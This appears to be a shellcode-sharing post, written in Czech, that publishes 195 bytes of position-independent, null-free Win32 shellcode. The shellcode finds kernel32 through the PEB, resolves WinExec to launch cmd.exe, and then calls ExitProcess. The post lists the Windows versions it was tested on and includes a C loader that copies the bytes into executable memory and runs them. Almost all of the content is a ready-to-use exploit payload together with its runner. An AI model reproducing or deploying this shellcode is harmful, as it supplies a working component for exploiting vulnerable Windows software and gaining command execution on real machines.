WinExec cmd.exe + ExitProcess Win32 Portable Shellcode
Allwin shellcode, který pomocí WinExec spustí cmd.exe a regulérně se ukončí pomocí ExitProcess. Shellcode neobsahuje NULL byty. Využívá PEB strukturu k nalezení kernel32.dll v paměti procesu. Kód byl úspěšně testován na:
Win XP SP2 ENG
Win XP SP2 CZ
Win XP SP3 CZ
Win Vista (32bit)/(64bit)
Win 2000
Win 2003
Win 7 (32bit)/(64bit)
Win 2k8 (32bit)
Velikost: 195 bajtů.
#include <stdio.h> #include <windows.h> int main(){ unsigned char shellcode[]= "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" "\x24\x20\x57\xFF\xD0"; LPVOID lpAlloc; void (*opcode)(); printf("Size = %d\n", lstrlen(shellcode)); system("PAUSE"); lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpAlloc == NULL){ printf("Memory not allocated!\n"); return 0; } memcpy(lpAlloc, shellcode, sizeof(shellcode)); opcode = lpAlloc; opcode(); return 0; }
No comments yet.